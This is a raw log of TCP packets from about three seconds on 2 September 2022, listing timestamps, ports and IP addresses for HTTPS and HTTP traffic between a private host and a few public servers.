Sep 2, 2022 14:02:27.662381887 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662398100 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662444115 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.662453890 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662477970 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.662486076 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662543058 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.662563086 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.691416979 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.724628925 CEST	443	49805	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:27.724734068 CEST	49805	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:27.740556955 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.740607023 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.740645885 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.740839958 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.740881920 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.741113901 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.805069923 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.805125952 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.805282116 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.805305004 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.805342913 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.805634022 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.824392080 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.824474096 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.824517012 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.824549913 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.824568987 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.824599028 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.849721909 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.849869013 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.850033045 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.850073099 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.850153923 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.867419958 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.867583990 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.871673107 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.871726036 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.871879101 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.871903896 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.871937037 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.871949911 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.875560045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:27.875710011 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:27.889811039 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.889859915 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.890010118 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.890044928 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.890114069 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.904949903 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.904994965 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.905105114 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.905128002 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.905149937 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.905203104 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.917553902 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.917624950 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.917732000 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.917757034 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.917797089 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.917819977 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.926595926 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.926654100 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.926784039 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.926814079 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.926850080 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.930113077 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.934369087 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.934420109 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.934964895 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.934988022 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.935002089 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.935257912 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.943871021 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.943913937 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.944053888 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.944075108 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.944108009 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.944123983 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.951622009 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.951672077 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.951813936 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.951854944 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.951911926 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.951951981 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.958605051 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.958652973 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.958748102 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.958775997 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.958834887 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.966990948 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.967045069 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.967123985 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.967160940 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.967184067 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.967232943 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.978250027 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.978300095 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.978375912 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.978405952 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.978473902 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.978482008 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.983370066 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.983407974 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.983499050 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.983530045 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.983551025 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.983580112 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.989413977 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.989448071 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.989497900 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.989530087 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.989547014 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.989588022 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.994699955 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.994774103 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.994779110 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.994793892 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.994841099 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.994851112 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.999905109 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.999937057 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.000031948 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.000057936 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.000078917 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.000119925 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.004636049 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.004669905 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.004740953 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.004761934 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.004781961 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.004825115 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.008766890 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.008815050 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.008857012 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.008879900 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.008897066 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.008934021 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.013375998 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.013430119 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.013468981 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.013489962 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.013505936 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.013546944 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.016627073 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.016669035 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.016743898 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.016761065 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.016777992 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.016809940 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.020412922 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.020454884 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.020495892 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.020515919 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.020530939 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.020571947 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.024842978 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.024944067 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.025019884 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.025041103 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.025058985 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.025088072 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.028280020 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.028323889 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.028410912 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.028430939 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.028455973 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.028474092 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.031688929 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.031728983 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.031825066 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.031888008 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.031908035 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.031960011 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.034786940 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.034828901 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.034919024 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.034965038 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.034982920 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.035023928 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.037940979 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.037981033 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.038069010 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.038115025 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.038130999 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.038177013 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.041265011 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.041307926 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.041405916 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.041424036 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.041465044 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.041517019 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.045378923 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.045418978 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.045548916 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.045578003 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.045624971 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.045669079 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.048489094 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.048528910 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.048648119 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.229368925 CEST	49805	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:28.229410887 CEST	443	49805	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:28.229794025 CEST	49806	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:28.229827881 CEST	443	49806	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:28.230165005 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:28.230210066 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:28.230304956 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:28.255422115 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.255624056 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.283442020 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:28.283723116 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:28.360296965 CEST	443	49806	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:28.360487938 CEST	49806	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:28.463404894 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.463630915 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:28.802655935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:28.802826881 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:28.891410112 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:28.891592026 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.029697895 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:29.029743910 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:29.032587051 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.032608032 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.032628059 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.032732010 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.032748938 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.032802105 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.032810926 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.032831907 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.032886028 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.032900095 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.032917023 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.032927990 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.032953978 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.032963037 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.032987118 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.032995939 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033035040 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033049107 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033103943 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033117056 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033138037 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033162117 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033169985 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033185959 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033236980 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033252001 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033282042 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033292055 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033309937 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033385038 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033399105 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033442020 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033462048 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033469915 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033499002 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033502102 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033518076 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033557892 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033575058 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033602953 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033612967 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033623934 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033633947 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.033658981 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033706903 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.033744097 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.038707018 CEST	49805	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:29.038719893 CEST	443	49805	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:29.115395069 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:29.115477085 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:29.122867107 CEST	443	49805	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:29.122961998 CEST	443	49805	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:29.122989893 CEST	49805	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:29.123074055 CEST	49805	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:29.150348902 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:29.150592089 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:29.243367910 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.243506908 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.451378107 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.451766014 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:29.755572081 CEST	49806	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:29.755641937 CEST	443	49806	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:29.883394957 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:29.883519888 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.005048037 CEST	49805	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:30.005080938 CEST	443	49805	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:30.217726946 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.217752934 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.217766047 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.217905998 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.225330114 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.225379944 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.225522041 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.228753090 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.228807926 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.229224920 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.229237080 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.229262114 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.229274988 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.229296923 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.229522943 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.229684114 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.229718924 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.229738951 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.229808092 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.229878902 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.229938030 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.229962111 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.229984999 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.229995012 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.230026007 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.230036020 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.230098963 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.230113029 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.230129957 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.230154037 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.230165005 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.230209112 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.230304956 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.230319023 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.230344057 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.230405092 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.230416059 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.230484009 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.230494022 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.230600119 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.230631113 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.230665922 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.230667114 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.230689049 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.230737925 CEST	49803	443	192.168.2.6	95.142.206.1
